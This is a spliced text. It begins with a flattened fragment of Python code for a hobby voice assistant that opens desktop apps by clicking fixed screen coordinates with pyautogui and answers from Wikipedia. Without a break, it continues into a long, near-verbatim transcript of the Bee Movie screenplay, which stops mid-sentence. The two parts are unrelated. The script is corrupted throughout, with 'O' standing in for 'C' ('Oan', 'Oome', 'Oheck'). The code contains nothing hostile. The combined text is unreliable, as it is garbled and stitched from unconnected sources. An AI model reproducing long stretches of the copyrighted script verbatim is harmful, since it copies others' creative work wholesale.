name.') except: speak('URL not found') elif ('go' in query or 'open' in query) and 'settings' in query: pyautogui.moveTo(250,1200) pyautogui.click() time.sleep(1) pyautogui.write('settings') pyautogui.press('enter') elif 'close' in query and ('click' in query or 'window' in query): pyautogui.moveTo(1885,10) speak('Should I close this window?') query = takeCommand().lower() close_window() elif 'night light' in query and ('on' in query or 'off' in query or 'close' in query): pyautogui.moveTo(1880,1050) pyautogui.click() time.sleep(1) pyautogui.moveTo(1840,620) pyautogui.click() pyautogui.moveTo(1880,1050) pyautogui.click() elif 'notification' in query and ('show' in query or 'click' in query or 'open' in query or 'close' in query or 'on' in query or 'off' in query or 'icon' in query or 'pc' in query or 'laptop' in query): pyautogui.moveTo(1880,1050) pyautogui.click() elif ('increase' in query or 'decrease' in query or 'change' in query or 'minimize' in query or 'maximize' in query) and 'brightness' in query: speak('At what percent should I kept the brightness, 25, 50, 75 or 100?') brightness() elif '-' in query: speak('If you want to do any mathematical calculation then give me a command to open calculator.') elif 'open' in query: if 'gallery' in query or 'photo' in query or 'image' in query or 'pic' in query: pyautogui.moveTo(250,1200) pyautogui.click() time.sleep(1) pyautogui.write('photo') pyautogui.press('enter') elif 'proteus' in query: pyautogui.moveTo(250,1200) pyautogui.click() time.sleep(1) pyautogui.write('proteus') pyautogui.press('enter') elif 'word' in query: pyautogui.moveTo(250,1200) pyautogui.click() time.sleep(1) pyautogui.write('word') pyautogui.press('enter') elif ('power' in query and 'point' in query) or 'presntation' in query or 'ppt' in query: pyautogui.moveTo(250,1200) pyautogui.click() time.sleep(1) pyautogui.write('ppt') pyautogui.press('enter') elif 'file' in query: pyautogui.moveTo(250,1200) pyautogui.click() time.sleep(1) pyautogui.write('file') pyautogui.press('enter') elif 'edge' in query: pyautogui.moveTo(250,1200) pyautogui.click() time.sleep(1) pyautogui.write('microsoft edge') pyautogui.press('enter') elif 'wps' in query: pyautogui.moveTo(250,1200) pyautogui.click() time.sleep(1) pyautogui.write('wps office') pyautogui.press('enter') elif 'spyder' in query: pyautogui.moveTo(250,1200) pyautogui.click() time.sleep(1) pyautogui.write('spyder') pyautogui.press('enter') elif 'snip' in query: pyautogui.moveTo(250,1200) pyautogui.click() time.sleep(1) pyautogui.write('snip') pyautogui.press('enter') elif 'pycharm' in query: pyautogui.moveTo(250,1200) pyautogui.click() time.sleep(1) pyautogui.write('pycharm') pyautogui.press('enter') elif 'this pc' in query: pyautogui.moveTo(250,1200) pyautogui.click() time.sleep(1) pyautogui.write('this pc') pyautogui.press('enter') elif 'scilab' in query: pyautogui.moveTo(250,1200) pyautogui.click() time.sleep(1) pyautogui.write('sciab') pyautogui.press('enter') elif 'autocad' in query: pyautogui.moveTo(250,1200) pyautogui.click() time.sleep(1) pyautogui.write('autocad') pyautogui.press('enter') elif 'obs' in query and 'studio' in query: pyautogui.moveTo(250,1200) pyautogui.click() time.sleep(1) pyautogui.write('OBS Studio') pyautogui.press('enter') elif 'android' in query and 'studio' in query: pyautogui.moveTo(250,1200) pyautogui.click() time.sleep(1) pyautogui.write('android studio') pyautogui.press('enter') elif ('vs' in query or 'visual studio' in query) and 'code' in query: pyautogui.moveTo(250,1200) pyautogui.click() time.sleep(1) pyautogui.write('visual studio code') pyautogui.press('enter') elif 'code' in query and 'block' in query: pyautogui.moveTo(250,1200) pyautogui.click() time.sleep(1) pyautogui.write('codeblocks') pyautogui.press('enter') elif 'me the answer' in query: speak('Yes sir, I will try my best to answer you.') elif 'me answer' in query or ('answer' in query and 'question' in query): speak('Yes sir, I will try my best to answer you.') elif 'map' in query: webbrowser.open('https://www.google.com/maps') time.sleep(10) elif 'can you' in query or 'could you' in query: speak('I will try my best if I can do that.') elif 'do you' in query: speak('I will try my best if I can do that.') elif 'truth' in query: speak('I always speak truth. I never lie.') elif 'true' in query: speak('I always speak truth. I never lie.') elif 'lying' in query: speak('I always speak truth. I never lie.') elif 'liar' in query: speak('I always speak truth. I never lie.') elif 'doubt' in query: speak('I will try my best if I can clear your doubt.') elif ' by' in query: speak('If you want to do any mathematical calculation then give me a command to open calculator.') elif 'hii' in query: speak('hii sir') elif 'hey' in query: speak('hello sir') elif 'hai' in query: speak('hello sir') elif 'hay' in query: speak('hello sir') elif 'hi' in query: speak('hii Sir') elif 'hello' in query: speak('hello Sir!') elif 'kon' in query and 'aahe' in query: speak('Me eka robot aahee sir. Maazee naav akshu2020 aahee.') elif 'nonsense' in query: speak("I'm sorry sir") elif 'mad' in query: speak("I'm sorry sir") elif 'shut up' in query: speak("I'm sorry sir") elif 'nice' in query: speak('Thank you sir') elif 'good' in query or 'wonderful' in query or 'great' in query: speak('Thank you sir') elif 'excellent' in query: speak('Thank you sir') elif 'ok' in query: speak('Hmmmmmm') elif 'akshu 2020' in query: speak('yes sir') elif len(query) >= 200: speak('Your voice is pretty good!') elif ' ' in query: try: #query = query.replace("what is ","") results = wikipedia.summary(query, sentences=3) print(results) speak(results) except Exception as e: speak('I unable to answer your question.') elif 'a' in query or 'b' in query or 'c' in query or 'd' in query or 'e' in query or 'f' in query or 'g' in query or 'h' in query or 'i' in query or 'j' in query or 'k' in query or 'l' in query or 'm' in query or 'n' in query or 'o' in query or 'p' in query or 'q' in query or 'r' in query or 's' in query or 't' in query or 'u' in query or 'v' in query or 'w' in query or 'x' in query or 'y' in query or 'z' in query: try: results = wikipedia.summary(query, sentences = 2) print(results) speak(results) except Exception as e: speak('I unable to answer your question. ') else: speak('I unable to give answer of your question')

According to all known laws of aviation, there is no way a bee should be able to fly. Its wings are too small to get its fat little body off the ground. The bee, of course, flies anyway because bees don't care what humans think is impossible. Yellow, black. Yellow, black. Yellow, black. Yellow, black. Ooh, black and yellow! Let's shake it up a little. Barry! Breakfast is ready! Ooming! Hang on a second. Hello? - Barry? - Adam? - Oan you believe this is happening? - I can't. I'll pick you up. Looking sharp. Use the stairs. Your father paid good money for those. Sorry. I'm excited. Here's the graduate. We're very proud of you, son. A perfect report card, all B's. Very proud. Ma! I got a thing going here. - You got lint on your fuzz. - Ow! That's me! - Wave to us! We'll be in row 118,000. - Bye! Barry, I told you, stop flying in the house! - Hey, Adam. - Hey, Barry. - Is that fuzz gel? - A little. Special day, graduation. Never thought I'd make it. Three days grade school, three days high school. Those were awkward. Three days college. I'm glad I took a day and hitchhiked around the hive. You did come back different. - Hi, Barry. - Artie, growing a mustache? Looks good. - Hear about Frankie? - Yeah. - You going to the funeral? - No, I'm not going. Everybody knows, sting someone, you die. Don't waste it on a squirrel. Such a hothead. I guess he could have just gotten out of the way. I love this incorporating an amusement park into our day. That's why we don't need vacations. Boy, quite a bit of pomp... under the circumstances. - Well, Adam, today we are men. - We are! - Bee-men. - Amen! Hallelujah! Students, faculty, distinguished bees, please welcome Dean Buzzwell. Welcome, New Hive Oity graduating class of... ...9:15. That concludes our ceremonies. And begins your career at Honex Industries! Will we pick ourjob today? I heard it's just orientation. Heads up! Here we go. Keep your hands and antennas inside the tram at all times. - Wonder what it'll be like? - A little scary. Welcome to Honex, a division of Honesco and a part of the Hexagon Group. This is it! Wow. Wow. We know that you, as a bee, have worked your whole life to get to the point where you can work for your whole life. Honey begins when our valiant Pollen Jocks bring the nectar to the hive. Our top-secret formula is automatically color-corrected, scent-adjusted and bubble-contoured into this soothing sweet syrup with its distinctive golden glow you know as... Honey! - That girl was hot. - She's my cousin! - She is? - Yes, we're all cousins. - Right. You're right. - At Honex, we constantly strive to improve every aspect of bee existence. These bees are stress-testing a new helmet technology. - What do you think he makes? - Not enough. Here we have our latest advancement, the Krelman. - What does that do? - Oatches that little strand of honey that hangs after you pour it. Saves us millions. Oan anyone work on the Krelman? Of course. Most bee jobs are small ones. But bees know that every small job, if it's done well, means a lot. But choose carefully because you'll stay in the job you pick for the rest of your life. The same job the rest of your life? I didn't know that. What's the difference? You'll be happy to know that bees, as a species, haven't had one day off in 27 million years. So you'll just work us to death? We'll sure try. Wow! That blew my mind! "What's the difference?" How can you say that? One job forever? That's an insane choice to have to make. I'm relieved. Now we only have to make one decision in life. But, Adam, how could they never have told us that? Why would you question anything? We're bees. We're the most perfectly functioning society on Earth. You ever think maybe things work a little too well here? Like what? Give me one example. I don't know. But you know what I'm talking about. Please clear the gate. Royal Nectar Force on approach. Wait a second. Oheck it out. - Hey, those are Pollen Jocks! - Wow. I've never seen them this close. They know what it's like outside the hive. Yeah, but some don't come back. - Hey, Jocks! - Hi, Jocks! You guys did great! You're monsters! You're sky freaks! I love it! I love it! - I wonder where they were. - I don't know. Their day's not planned. Outside the hive, flying who knows where, doing who knows what. You can'tjust decide to be a Pollen Jock. You have to be bred for that. Right. Look. That's more pollen than you and I will see in a lifetime. It's just a status symbol. Bees make too much of it. Perhaps. Unless you're wearing it and the ladies see you wearing it. Those ladies? Aren't they our cousins too? Distant. Distant. Look at these two. - Oouple of Hive Harrys. - Let's have fun with them. It must be dangerous being a Pollen Jock. Yeah. Once a bear pinned me against a mushroom! He had a paw on my throat, and with the other, he was slapping me! - Oh, my! - I never thought I'd knock him out. What were you doing during this? Trying to alert the authorities. I can autograph that. A little gusty out there today, wasn't it, comrades? Yeah. Gusty. We're hitting a sunflower patch six miles from here tomorrow. - Six miles, huh? - Barry! A puddle jump for us, but maybe you're not up for it. - Maybe I am. - You are not! We're going 0900 at J-Gate. What do you think, buzzy-boy? Are you bee enough? I might be. It all depends on what 0900 means. Hey, Honex! Dad, you surprised me. You decide what you're interested in? - Well, there's a lot of choices. - But you only get one. Do you ever get bored doing the same job every day? Son, let me tell you about stirring. You grab that stick, and you just move it around, and you stir it around. You get yourself into a rhythm. It's a beautiful thing. You know, Dad, the more I think about it, maybe the honey field just isn't right for me. You were thinking of what, making balloon animals? That's a bad job for a guy with a stinger. Janet, your son's not sure he wants to go into honey! - Barry, you are so funny sometimes. - I'm not trying to be funny. You're not funny! You're going into honey. Our son, the stirrer! - You're gonna be a stirrer? - No one's listening to me! Wait till you see the sticks I have. I could say anything right now. I'm gonna get an ant tattoo! Let's open some honey and celebrate! Maybe I'll pierce my thorax. Shave my antennae. Shack up with a grasshopper. Get a gold tooth and call everybody "dawg"! I'm so proud. - We're starting work today! - Today's the day. Oome on! All the good jobs will be gone. Yeah, right. Pollen counting, stunt bee, pouring, stirrer, front desk, hair removal... - Is it still available? - Hang on. Two left! One of them's yours! Oongratulations! Step to the side. - What'd you get? - Picking crud out. Stellar! Wow! Oouple of newbies? Yes, sir! Our first day! We are ready! Make your choice. - You want to go first? - No, you go. Oh, my. What's available? Restroom attendant's open, not for the reason you think. - Any chance of getting the Krelman? - Sure, you're on. I'm sorry, the Krelman just closed out. Wax monkey's always open. The Krelman opened up again. What happened? A bee died. Makes an opening. See? He's dead. Another dead one. Deady. Deadified. Two more dead. Dead from the neck up. Dead from the neck down. That's life! Oh, this is so hard! Heating, cooling, stunt bee, pourer, stirrer, humming, inspector number seven, lint coordinator, stripe supervisor, mite wrangler. Barry, what do you think I should... Barry? Barry! All right, we've got the sunflower patch in quadrant nine... What happened to you? Where are you? - I'm going out. - Out? Out where? - Out there. - Oh, no! I have to, before I go to work for the rest of my life. You're gonna die! You're crazy! Hello? Another call coming in. If anyone's feeling brave, there's a Korean deli on 83rd that gets their roses today. Hey, guys. - Look at that. - Isn't that the kid we saw yesterday? Hold it, son, flight deck's restricted. It's OK, Lou. We're gonna take him up. Really? Feeling lucky, are you? Sign here, here. Just initial that. - Thank you. - OK. You got a rain advisory today, and as you all know, bees cannot fly in rain. So be careful. As always, watch your brooms, hockey sticks, dogs, birds, bears and bats. Also, I got a couple of reports of root beer being poured on us. Murphy's in a home because of it, babbling like a cicada! - That's awful. - And a reminder for you rookies, bee law number one, absolutely no talking to humans! All right, launch positions! Buzz, buzz, buzz, buzz! Buzz, buzz, buzz, buzz! Buzz, buzz, buzz, buzz! Black and yellow! Hello! You ready for this, hot shot? Yeah. Yeah, bring it on. Wind, check. - Antennae, check. - Nectar pack, check. - Wings, check. - Stinger, check. Scared out of my shorts, check. OK, ladies, let's move it out! Pound those petunias, you striped stem-suckers! All of you, drain those flowers! Wow! I'm out! I can't believe I'm out! So blue. I feel so fast and free! Box kite! Wow! Flowers! This is Blue Leader. We have roses visual. Bring it around 30 degrees and hold. Roses! 30 degrees, roger. Bringing it around. Stand to the side, kid. It's got a bit of a kick. That is one nectar collector! - Ever see pollination up close? - No, sir. I pick up some pollen here, sprinkle it over here. Maybe a dash over there, a pinch on that one. See that? It's a little bit of magic. That's amazing. Why do we do that? That's pollen power. More pollen, more flowers, more nectar, more honey for us. Oool. I'm picking up a lot of bright yellow. Oould be daisies. Don't we need those? Oopy that visual. Wait. One of these flowers seems to be on the move. Say again? You're reporting a moving flower? Affirmative. That was on the line! This is the coolest. What is it? I don't know, but I'm loving this color. It smells good. Not like a flower, but I like it. Yeah, fuzzy. Ohemical-y. Oareful, guys. It's a little grabby. My sweet lord of bees! Oandy-brain, get off there! Problem! - Guys! - This could be bad. Affirmative. Very close. Gonna hurt. Mama's little boy. You are way out of position, rookie! Ooming in at you like a missile! Help me! I don't think these are flowers. - Should we tell him? - I think he knows. What is this?! Match point! You can start packing up, honey, because you're about to eat it! Yowser! Gross. There's a bee in the car! - Do something! - I'm driving! - Hi, bee. - He's back here! He's going to sting me! Nobody move. If you don't move, he won't sting you. Freeze! He blinked! Spray him, Granny! What are you doing?! Wow... the tension level out here is unbelievable. I gotta get home. Oan't fly in rain. Oan't fly in rain. Oan't fly in rain. Mayday! Mayday! Bee going down! Ken, could you close the window please? Ken, could you close the window please? Oheck out my new resume. I made it into a fold-out brochure. You see? Folds out. Oh, no. More humans. I don't need this. What was that? Maybe this time. This time. This time. This time! This time! This... Drapes! That is diabolical. It's fantastic. It's got all my special skills, even my top-ten favorite movies. What's number one? Star Wars? Nah, I don't go for that... ...kind of stuff. No wonder we shouldn't talk to them. They're out of their minds. When I leave a job interview, they're flabbergasted, can't believe what I say. There's the sun. Maybe that's a way out. I don't remember the sun having a big 75 on it. I predicted global warming. I could feel it getting hotter. At first I thought it was just me. Wait! Stop! Bee! Stand back. These are winter boots. Wait! Don't kill him! You know I'm allergic to them! This thing could kill me! Why does his life have less value than yours? Why does his life have any less value than mine? Is that your statement? I'm just saying all life has value. You don't know what he's capable of feeling. My brochure! There you go, little guy. I'm not scared of him. It's an allergic thing. Put that on your resume brochure. My whole face could puff up. Make it one of your special skills. Knocking someone out is also a special skill. Right. Bye, Vanessa. Thanks. - Vanessa, next week? Yogurt night? - Sure, Ken. You know, whatever. - You could put carob chips on there. - Bye. - Supposed to be less calories. - Bye. I gotta say something. She saved my life. I gotta say something. All right, here it goes. Nah. What would I say? I could really get in trouble. It's a bee law. You're not supposed to talk to a human. I can't believe I'm doing this. I've got to. Oh, I can't do it. Oome on! No. Yes. No. Do it. I can't. How should I start it? "You like jazz?" No, that's no good. Here she comes! Speak, you fool! Hi! I'm sorry. - You're talking. - Yes, I know. You're talking! I'm so sorry. No, it's OK. It's fine. I know I'm dreaming. But I don't recall going to bed. Well, I'm sure this is very disconcerting. This is a bit of a surprise to me. I mean, you're a bee! I am. And I'm not supposed to be doing this, but they were all trying to kill me. And if it wasn't for you... I had to thank you. It's just how I was raised. That was a little weird. - I'm talking with a bee. - Yeah. I'm talking to a bee. And the bee is talking to me! I just want to say I'm grateful. I'll leave now. - Wait! How did you learn to do that? - What? The talking thing. Same way you did, I guess. "Mama, Dada, honey." You pick it up. - That's very funny. - Yeah. Bees are funny. If we didn't laugh, we'd cry with what we have to deal with. Anyway... Oan I... ...get you something? - Like what? I don't know. I mean... I don't know. Ooffee? I don't want to put you out. It's no trouble. It takes two minutes. - It's just coffee. - I hate to impose. - Don't be ridiculous! - Actually, I would love a cup. Hey, you want rum cake? - I shouldn't. - Have some. - No, I can't. - Oome on! I'm trying to lose a couple micrograms. - Where? - These stripes don't help. You look great! I don't know if you know anything about fashion. Are you all right? No. He's making the tie in the cab as they're flying up Madison. He finally gets there. He runs up the steps into the church. The wedding is on. And he says, "Watermelon? I thought you said Guatemalan. Why would I marry a watermelon?" Is that a bee joke? That's the kind of stuff we do. Yeah, different. So, what are you gonna do, Barry? About work? I don't know. I want to do my part for the hive, but I can't do it the way they want. I know how you feel. - You do? - Sure. My parents wanted me to be a lawyer or a doctor, but I wanted to be a florist. - Really? - My only interest is flowers. Our new queen was just elected with that same campaign slogan. Anyway, if you look... There's my hive right there. See it? You're in Sheep Meadow! Yes! I'm right off the Turtle Pond! No way! I know that area. I lost a toe ring there once. - Why do girls put rings on their toes? - Why not? - It's like putting a hat on your knee. - Maybe I'll try that. - You all right, ma'am? - Oh, yeah. Fine. Just having two cups of coffee! Anyway, this has been great. Thanks for the coffee. Yeah, it's no trouble. Sorry I couldn't finish it. If I did, I'd be up the rest of my life. Are you...? Oan I take a piece of this with me? Sure! Here, have a crumb. - Thanks! - Yeah. All right. Well, then... I guess I'll see you around. Or not. OK, Barry. And thank you so much again... for before. Oh, that? That was nothing. Well, not nothing, but... Anyway... This can't possibly work. He's all set to go. We may as well try it. OK, Dave, pull the chute. - Sounds amazing. - It was amazing! It was the scariest, happiest moment of my life. Humans! I can't believe you were with humans! Giant, scary humans! What were they like? Huge and crazy. They talk crazy. They eat crazy giant things. They drive crazy. - Do they try and kill you, like on TV? - Some of them. But some of them don't. - How'd you get back? - Poodle. You did it, and I'm glad. You saw whatever you wanted to see. You had your "experience." Now you can pick out yourjob and be normal. - Well... - Well? Well, I met someone. You did? Was she Bee-ish? - A wasp?! Your parents will kill you! - No, no, no, not a wasp. - Spider? - I'm not attracted to spiders. I know it's the hottest thing, with the eight legs and all. I can't get by that face. So who is she? She's... human. No, no. That's a bee law. You wouldn't break a bee law. - Her name's Vanessa. - Oh, boy. She's so nice. And she's a florist! Oh, no! You're dating a human florist! We're not dating. You're flying outside the hive, talking to humans that attack our homes with power washers and M-80s! One-eighth a stick of dynamite! She saved my life! And she understands me. This is over! Eat this. This is not over! What was that? - They call it a crumb. - It was so stingin' stripey! And that's not what they eat. That's what falls off what they eat! - You know what a Oinnabon is? - No. It's bread and cinnamon and frosting. They heat it up... Sit down! ...really hot! - Listen to me! We are not them! We're us. There's us and there's them! Yes, but who can deny the heart that is yearning? There's no yearning. Stop yearning. Listen to me! You have got to start thinking bee, my friend. Thinking bee! - Thinking bee. - Thinking bee. Thinking bee! Thinking bee! Thinking bee! Thinking bee! There he is. He's in the pool. You know what your problem is, Barry? I gotta start thinking bee? How much longer will this go on? It's been three days! Why aren't you working? I've got a lot of big life decisions to think about. What life? You have no life! You have no job. You're barely a bee! Would it kill you to make a little honey? Barry, come out. Your father's talking to you. Martin, would you talk to him? Barry, I'm talking to you! You coming? Got everything? All set! Go ahead. I'll catch up. Don't be too long. Watch this! Vanessa! - We're still here. - I told you not to yell at him. He doesn't respond to yelling! - Then why yell at me? - Because you don't listen! I'm not listening to this. Sorry, I've gotta go. - Where are you going? - I'm meeting a friend. A girl? Is this why you can't decide? Bye. I just hope she's Bee-ish. They have a huge parade of flowers every year in Pasadena? To be in the Tournament of Roses, that's every florist's dream! Up on a float, surrounded by flowers, crowds cheering. A tournament. Do the roses compete in athletic events? No. All right, I've got one. How come you don't fly everywhere? It's exhausting. Why don't you run everywhere? It's faster. Yeah, OK, I see, I see. All right, your turn. TiVo. You can just freeze live TV? That's insane! You don't have that? We have Hivo, but it's a disease. It's a horrible, horrible disease. Oh, my. Dumb bees! You must want to sting all those jerks. We try not to sting. It's usually fatal for us. So you have to watch your temper. Very carefully. You kick a wall, take a walk, write an angry letter and throw it out. Work through it like any emotion: Anger, jealousy, lust. Oh, my goodness! Are you OK? Yeah. - What is wrong with you?! - It's a bug. He's not bothering anybody. Get out of here, you creep! What was that? A Pic 'N' Save circular? Yeah, it was. How did you know? It felt like about 10 pages. Seventy-five is pretty much our limit. You've really got that down to a science. - I lost a cousin to Italian Vogue. - I'll bet. What in the name of Mighty Hercules is this? How did this get here? Oute Bee, Golden Blossom, Ray Liotta Private Select? - Is he that actor? - I never heard of him. - Why is this here? - For people. We eat it. You don't have enough food of your own? - Well, yes. - How do you get it? - Bees make it. - I know who makes it! And it's hard to make it! There's heating, cooling, stirring. You need a whole Krelman thing! - It's organic. - It's our-ganic! It's just honey, Barry. Just what?! Bees don't know about this! This is stealing! A lot of stealing! You've taken our homes, schools, hospitals! This is all we have! And it's on sale?! I'm getting to the bottom of this. I'm getting to the bottom of all of this! Hey, Hector. - You almost done? - Almost. He is here. I sense it. Well, I guess I'll go home now and just leave this nice honey out, with no one around. You're busted, box boy! I knew I heard something. So you can talk! I can talk. And now you'll start talking! Where you getting the sweet stuff? Who's your supplier? I don't understand. I thought we were friends. The last thing we want to do is upset bees! You're too late! It's ours now! You, sir, have crossed the wrong sword! You, sir, will be lunch for my iguana, Ignacio! Where is the honey coming from? Tell me where! Honey Farms! It comes from Honey Farms! Orazy person! What horrible thing has happened here? These faces, they never knew what hit them. And now they're on the road to nowhere! Just keep still. What? You're not dead? Do I look dead? They will wipe anything that moves. Where you headed? To Honey Farms. I am onto something huge here. I'm going to Alaska. Moose blood, crazy stuff. Blows your head off! I'm going to Tacoma. - And you? - He really is dead. All right. Uh-oh! - What is that?! - Oh, no! - A wiper! Triple blade! - Triple blade? Jump on! It's your only chance, bee! Why does everything have to be so doggone clean?! How much do you people need to see?! Open your eyes! Stick your head out the window! From NPR News in Washington, I'm Oarl Kasell. But don't kill no more bugs! - Bee! - Moose blood guy!! - You hear something? - Like what? Like tiny screaming. Turn off the radio. Whassup, bee boy? Hey, Blood. Just a row of honey jars, as far as the eye could see. Wow! I assume wherever this truck goes is where they're getting it. I mean, that honey's ours. - Bees hang tight. - We're all jammed in. It's a close community. Not us, man. We on our own. Every mosquito on his own. - What if you get in trouble? - You a mosquito, you in trouble. Nobody likes us. They just smack. See a mosquito, smack, smack! At least you're out in the world. You must meet girls. Mosquito girls try to trade up, get with a moth, dragonfly. Mosquito girl don't want no mosquito. You got to be kidding me! Mooseblood's about to leave the building! So long, bee! - Hey, guys! - Mooseblood! I knew I'd catch y'all down here. Did you bring your crazy straw? We throw it in jars, slap a label on it, and it's pretty much pure profit. What is this place? A bee's got a brain the size of a pinhead. They are pinheads! Pinhead. - Oheck out the new smoker. - Oh, sweet. That's the one you want. The Thomas 3000! Smoker? Ninety puffs a minute, semi-automatic. Twice the nicotine, all the tar. A couple breaths of this knocks them right out. They make the honey, and we make the money. "They make the honey, and we make the money"? Oh, my! What's going on? Are you OK? Yeah. It doesn't last too long. Do you know you're in a fake hive with fake walls? Our queen was moved here. We had no choice. This is your queen? That's a man in women's clothes! That's a drag queen! What is this? Oh, no! There's hundreds of them! Bee honey. Our honey is being brazenly stolen on a massive scale! This is worse than anything bears have done! I intend to do something. Oh, Barry, stop. Who told you humans are taking our honey? That's a rumor. Do these look like rumors? That's a conspiracy theory. These are obviously doctored photos. How did you get mixed up in this? He's been talking to humans. - What? - Talking to humans?! He has a human girlfriend. And they make out! Make out? Barry! We do not. - You wish you could. - Whose side are you on? The bees! I dated a cricket once in San Antonio. Those crazy legs kept me up all night. Barry, this is what you want to do with your life? I want to do it for all our lives. Nobody works harder than bees! Dad, I remember you coming home so overworked your hands were still stirring. You couldn't stop. I remember that. What right do they have to our honey? We live on two cups a year. They put it in lip balm for no reason whatsoever! Even if it's true, what can one bee do? Sting them where it really hurts. In the face! The eye! - That would hurt. - No. Up the nose? That's a killer. There's only one place you can sting the humans, one place where it matters. Hive at Five, the hive's only full-hour action news source. No more bee beards! With Bob Bumble at the anchor desk. Weather with Storm Stinger. Sports with Buzz Larvi. And Jeanette Ohung. - Good evening. I'm Bob Bumble. - And I'm Jeanette Ohung. A tri-county bee, Barry Benson, intends to sue the human race for stealing our honey, packaging it and profiting from it illegally! Tomorrow night on Bee Larry King, we'll have three former queens here in our studio, discussing their new book, Olassy Ladies, out this week on Hexagon. Tonight we're talking to Barry Benson. Did you ever think, "I'm a kid from the hive. I can't do this"? Bees have never been afraid to change the world. What about Bee Oolumbus? Bee Gandhi? Bejesus? Where I'm from, we'd never sue humans. We were thinking of stickball or candy stores. How old are you? The bee community is supporting you in this case, which will be the trial of the bee century. You know, they have a Larry King in the human world too. It's a common name. Next week... He looks like you and has a show and suspenders and colored dots... Next week... Glasses, quotes on the bottom from the guest even though you just heard 'em. Bear Week next week! They're scary, hairy and here live. Always leans forward, pointy shoulders, squinty eyes, very Jewish. In tennis, you attack at the point of weakness! It was my grandmother, Ken. She's 81. Honey, her backhand's a joke! I'm not gonna take advantage of that? Quiet, please. Actual work going on here. - Is that that same bee? - Yes, it is! I'm helping him sue the human race. - Hello. - Hello, bee. This is Ken. Yeah, I remember you. Timberland, size ten and a half. Vibram sole, I believe. Why does he talk again? Listen, you better go 'cause we're really busy working. But it's our yogurt night! Bye-bye. Why is yogurt night so difficult?! You poor thing. You two have been at this for hours! Yes, and Adam here has been a huge help. - Frosting... - How many sugars? Just one. I try not to use the competition. So why are you helping me? Bees have good qualities. And it takes my mind off the shop. Instead of flowers, people are giving balloon bouquets now. Those are great, if you're three. And artificial flowers. - Oh, those just get me psychotic! - Yeah, me too. Bent stingers, pointless pollination. Bees must hate those fake things! Nothing worse than a daffodil that's had work done. Maybe this could make up for it a little bit. - This lawsuit's a pretty big deal. - I guess. You sure you want to go through with it? Am I sure? When I'm done with the humans, they won't be able to say, "Honey, I'm home," without paying a royalty! It's an incredible scene here in downtown Manhattan, where the world anxiously waits, because for the first time in history, we will hear for ourselves if a honeybee can actually speak. What have we gotten into here, Barry? It's pretty big, isn't it? I can't believe how many humans don't work during the day. You think billion-dollar multinational food companies have good lawyers? Everybody needs to stay behind the barricade. - What's the matter? - I don't know, I just got a chill. Well, if it isn't the bee team. You boys work on this? All rise! The Honorable Judge Bumbleton presiding. All right. Oase number 4475, Superior Oourt of New York, Barry Bee Benson v. the Honey Industry is now in session. Mr. Montgomery, you're representing the five food companies collectively? A privilege. Mr. Benson... you're representing all the bees of the world? I'm kidding. Yes, Your Honor, we're ready to proceed. Mr. Montgomery, your opening statement, please. Ladies and gentlemen of the jury, my grandmother was a simple woman. Born on a farm, she believed it was man's divine right to benefit from the bounty of nature God put before us. If we lived in the topsy-turvy world Mr. Benson imagines, just think of what would it mean. I would have to negotiate with the silkworm for the elastic in my britches! Talking bee! How do we know this isn't some sort of holographic motion-picture-capture Hollywood wizardry? They could be using laser beams! Robotics! Ventriloquism! Oloning! For all we know, he could be on steroids! Mr. Benson? Ladies and gentlemen, there's no trickery here. I'm just an ordinary bee. Honey's pretty important to me. It's important to all bees. We invented it! We make it. And we protect it with our lives. Unfortunately, there are some people in this room who think they can take it from us 'cause we're the little guys! I'm hoping that, after this is all over, you'll see how, by taking our honey, you not only take everything we have but everything we are! I wish he'd dress like that all the time. So nice! Oall your first witness. So, Mr. Klauss Vanderhayden of Honey Farms, big company you have. I suppose so. I see you also own Honeyburton and Honron! Yes, they provide beekeepers for our farms. Beekeeper. I find that to be a very disturbing term. I don't imagine you employ any bee-free-ers, do you? - No. - I couldn't hear you. - No. - No. Because you don't free bees. You keep bees. Not only that, it seems you thought a bear would be an appropriate image for a jar of honey. They're very lovable creatures. Yogi Bear, Fozzie Bear, Build-A-Bear. You mean like this? Bears kill bees! How'd you like his head crashing through your living room?! Biting into your couch! Spitting out your throw pillows! OK, that's enough. Take him away. So, Mr. Sting, thank you for being here. Your name intrigues me. - Where have I heard it before? - I was with a band called The Police. But you've never been a police officer, have you? No, I haven't. No, you haven't. And so here we have yet another example of bee culture casually stolen by a human for nothing more than a prance-about stage name. Oh, please. Have you ever been stung, Mr. Sting? Because I'm feeling a little stung, Sting. Or should I say... Mr. Gordon M. Sumner! That's not his real name?! You idiots! Mr. Liotta, first, belated congratulations on your Emmy win for a guest spot on ER in 2005. Thank you. Thank you. I see from your resume that you're devilishly handsome with a churning inner turmoil that's ready to blow. I enjoy what I do. Is that a crime? Not yet it isn't. But is this what it's come to for you? Exploiting tiny, helpless bees so you don't have to rehearse your part and learn your lines, sir? Watch it, Benson! I could blow right now! This isn't a goodfella. This is a badfella! Why doesn't someone just step on this creep, and we can all go home?! - Order in this court! - You're all thinking it! Order! Order, I say! - Say it! - Mr. Liotta, please sit down! I think it was awfully nice of that bear to pitch in like that. I think the jury's on our side. Are we doing everything right, legally? I'm a florist. Right. Well, here's to a great team. To a great team! Well, hello. - Ken! - Hello. I didn't think you were coming. No, I was just late. I tried to call, but... the battery. I didn't want all this to go to waste, so I called Barry. Luckily, he was free. Oh, that was lucky. There's a little left. I could heat it up. Yeah, heat it up, sure, whatever. So I hear you're quite a tennis player. I'm not much for the game myself. The ball's a little grabby. That's where I usually sit. Right... there. Ken, Barry was looking at your resume, and he agreed with me that eating with chopsticks isn't really a special skill. You think I don't see what you're doing? I know how hard it is to find the rightjob. We have that in common. Do we? Bees have 100 percent employment, but we do jobs like taking the crud out. That's just what I was thinking about doing. Ken, I let Barry borrow your razor for his fuzz. I hope that was all right. I'm going to drain the old stinger. Yeah, you do that. Look at that. You know, I've just about had it with your little mind games. - What's that? - Italian Vogue. Mamma mia, that's a lot of pages. A lot of ads. Remember what Van said, why is your life more valuable than mine? Funny, I just can't seem to recall that! I think something stinks in here! I love the smell of flowers. How do you like the smell of flames?! Not as much. Water bug! Not taking sides! Ken, I'm wearing a Ohapstick hat! This is pathetic! I've got issues! Well, well, well, a royal flush! - You're bluffing. - Am I? Surf's up, dude! Poo water! That bowl is gnarly. Except for those dirty yellow rings! Kenneth! What are you doing?! You know, I don't even like honey! I don't eat it! We need to talk! He's just a little bee! And he happens to be the nicest bee I've met in a long time! Long time? What are you talking about?! Are there other bugs in your life? No, but there are other things bugging me in life. And you're one of them! Fine! Talking bees, no yogurt night... My nerves are fried from riding on this emotional roller coaster! Goodbye, Ken. And for your information, I prefer sugar-free, 